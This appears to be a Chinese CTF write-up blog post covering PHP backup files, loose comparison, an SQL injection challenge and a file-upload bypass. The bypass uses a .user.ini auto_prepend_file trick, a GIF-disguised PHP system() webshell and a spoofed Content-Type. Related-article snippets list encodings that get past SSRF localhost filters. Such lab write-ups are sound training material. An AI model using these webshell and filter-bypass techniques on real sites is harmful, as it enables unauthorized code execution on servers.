web模块_2(SQL注入,上传文件的权限获取)

news/2024/11/26 5:32:37/

1题目描述:你知道index.php的备份文件名吗?

index.php的备份文件名为index.php.bak

2题目描述

在这里插入图片描述
php中,双等号是弱类型比较。==判断是否相等,不判断格式。 ===判断格式是否相等。“0a”==0为True,“1235a"不算数字,但是"1235a”>1234为True。

3题目描述GFSJ1004(SQL注入)

在这里插入图片描述
题目什么信息也没有给,但是这里提醒了,尝试权限绕过。
在这里插入图片描述
随便试了一个id=admin,发现给出了回应。
猜测可能为SQL注入。
使用burp suite抓包,并进行爆破。
在这里插入图片描述
在这里插入图片描述
然后尝试进行SQL注入
在这里插入图片描述
得到了flag。

4题目描述GFSJ1005(利用文件上传进行权限获取)

在这里插入图片描述
题目给出了一个上传文件的界面。
只能上传图片文件,其他文件都会被阻止。
整个页面为一个php文件,想到php文件在运行前会执行.user.ini文件进行配置,运行其他的php文件。于是完成.user.ini文件,内容如下:

GIF89a
auto_prepend_file=1.jpg

然后完成1.jpg文件。

GIF89a
<?=system('ls /')?>

然后上传.user.ini文件,但是发现被阻断,无法上传。于是使用burp suite进行抓包,修改其后缀。
在这里插入图片描述
修改红框处的数据类型,为image/gif,实现权限的绕过。
然后刷新页面,会自动运行.user.ini文件。
得到当前目录下的文件结构。
在这里插入图片描述

修改1.jpg的文件内容,再次上传运行。

GIF89a
<?=system('ls /')?>

得到结果入下:
在这里插入图片描述


http://www.ppmy.cn/news/49698.html

相关文章

海斯坦普Gestamp EDI 需求分析

海斯坦普Gestamp&#xff08;以下简称&#xff1a;Gestamp&#xff09;是一家总部位于西班牙的全球性汽车零部件制造商&#xff0c;目前在全球23个国家拥有超过100家工厂。Gestamp的业务涵盖了车身、底盘和机电系统等多个领域&#xff0c;其产品范围包括钣金、车身结构件、车轮…

“开发人员必备技能:Python接口自动化测试全攻略“:了解接口测试的基础知识,并通过Python编写测试用例,提升自己的测试技能

目录 摘要 一、基础知识 二、工具选择 三、实现步骤 1.安装依赖库 2.编写测试用例 3.运行测试用例 4.查看测试结果 四、代码实现 总结 摘要 随着互联网行业的不断发展&#xff0c;越来越多的企业开始注重自动化测试的重要性。而在自动化测试中&#xff0c;接口自动化…

气象观测仪智能便携全自动

地面气象观测仪器是按照国际气象WMO组织气象观测标准&#xff0c;研究而开发生产的多要素自动观测站。可监测空气温度、空气湿度、风向、风速、气压、雨量、光照强度、总辐射等常规气象要素&#xff0c;可在无人值守的恶劣环境下全天候全自动正常运行。 产品特点 全自动&#x…

【Mybatis代码生成器Mybatis-Generator】

Mybatis代码生成器Mybatis-Generator 1. 引入插件2. 通过编码和配置文件运行3. 通过Maven插件运行4. XML配置文件详解contextjdbcConnectioncommentGeneratorjavaTypeResolverjavaModelGeneratorjavaClientGeneratorsqlMapGeneratorplugintable 5. 纯注解6. XML映射文件7. 编程…

NewBing 边栏快捷插件没有了!如何解决?如何脱离浏览器使用 New Bing?

作者&#xff1a;明明如月学长&#xff0c; CSDN 博客专家&#xff0c;蚂蚁集团高级 Java 工程师&#xff0c;《性能优化方法论》作者、《解锁大厂思维&#xff1a;剖析《阿里巴巴Java开发手册》》、《再学经典&#xff1a;《EffectiveJava》独家解析》专栏作者。 热门文章推荐…

CTF之SSRF常见绕过

1.绕过localhost和127.0.0.1 当程序中限制了我们使用localhost和127.0.0.1时&#xff0c;便可以利用进制转换来绕过 http://0x7F.0.0.1 //16进制 http://0177.0.0.1 //8进制 http://2130706433 //10进制整数格式 http://0x7F000001 16进制整数格式 http://127.1 //省略模式 h…

观察者设计模式(Observer Design Pattern)[论点:概念、组成角色、相关图示、示例代码、框架中的运用、适用场景]

文章目录 概念组成角色相关图示示例代码框架中的运用适用场景 概念 观察者设计模式&#xff08;Observer Design Pattern&#xff09;是一种行为型设计模式&#xff0c;它定义了一种对象间的一对多的依赖关系&#xff0c;让多个观察者对象同时监听某一个主题对象&#xff0c;当…

VS code的常用快捷键

//[TOC](VS code的常用快捷键) 一、编辑器与窗口管理 1&#xff09;新建文件&#xff1a;Ctrl N 2&#xff09;文件之间切换&#xff1a;Ctrl Tab 3&#xff09;打开一个新的VS Code编辑器&#xff1a; Ctrl Shift N 4&#xff09;关闭当前窗口&#xff1a; Ctrl W 5&…